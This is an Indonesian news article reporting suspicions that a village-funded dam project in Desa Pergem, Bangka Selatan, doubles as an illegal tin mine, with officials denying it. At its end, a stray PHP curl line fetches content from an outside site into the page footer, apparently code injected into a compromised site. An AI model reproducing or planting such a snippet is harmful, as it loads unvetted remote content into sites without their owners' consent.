Diduga Proyek Talud Desa Pergem Dijadikan TI Ilegal

Kamis, 25 November 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bangka Selatan l Jejakkasus.info – Proyek Dam/Talud Tanah Sumber Air Bersih Pamsimas RT 01 Dusun 1 Desa Pergem, sesuai yang tertera pada Papan Proyek yang di bangun dengan menggunakan Dana Desa Tahun Anggaran 2021 senilai Rp. 72.335.000, diduga bakal dijadikan Tambang Inkonvensional (TI) Ilegal.

Video

Pasalnya, Pantauan Media di lokasi Proyek yang dikerjakan melalui persetujuan Badan Permusyawarahan Desa (BPD) Desa Pergem Kecamatan Air Gegas Kab. Bangka Selatan, dengan PKA nya Kasandika dan sebagai TPK – Ketua Yas, serta Sekertaris Agin dan Anggota Bengli itu, terdapat TI Ilegal yang turut sama beroperasi dengan pelaksanan Proyek Dam/Talud Tanah Sumber Air Bersih dimaksud.

Baca Juga:  Diduga Pengusaha Tambang di Plosoklaten Kediri Belum Mengantongi IUP-Operasi Produksi Khusus

Saat dikonfirmasi oleh salah satu Media Online (Wartawan-red) yang ada di Bangka Belitung, salah seorang Perangkat Desa yang tidak mau menyebutkan namanya, membantah Proyek Dam/Talud Tanah Sumber Air Bersih tersebut adalah TI Ilegal. Dan mengatakan, Wartawan seharusnya konfirmasi terlebih dahulu dalam membuat berita.

Baca Juga:  Wakil Bupati Nias Barat Bertemu Dirjen PSP di Kementerian Pertanian RI

“Harusnya konfirmasi dulu dalam buat berita jangan asal buat berita, jangan sampai buat gaduh masyarakat Kami, bahkan sampai meminta Kartu Tanda Penduduk (KTP) Jurnalis tersebut”, ucapnya ketus dengan nada emosi.

Dilain pihak, Pejabat Sementara (Pjs) Kades Suganda saat di hubungi awak media melalui sambungan teleponnya, Kamis (25/12/2021) menjawab, bahwa Talud sudah selesai dibangun dengan membuat Dam disekitarnya.

Baca Juga:  Ketua Ormas GBNN Gusit: Anggaran dari APBD Pemko Gusit di Pertanyakan Dirut LPP RRI

“Talud sudah selesai Kami bangun, dengan membuat Dam di sekelilingnya menggunakan tanah, untuk Sumber Air Bersihnya pun sudah”, sebut Suganda.

Saat ditanya ada TI Ilegal di lokasi proyek, Suganda membantah bahwa tidak ada TI Ilegal disana.

“Tidak ada TI disana, kalaupun ada, itu jauh dan bekerja di lahan masyarakat itu sendiri,” sebut Suganda. (Tim Sembilan)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai
Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers
Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat

Berita Terkait

Selasa, 8 Oktober 2024 - 14:59 WIB

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai

Minggu, 6 Oktober 2024 - 16:59 WIB

Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>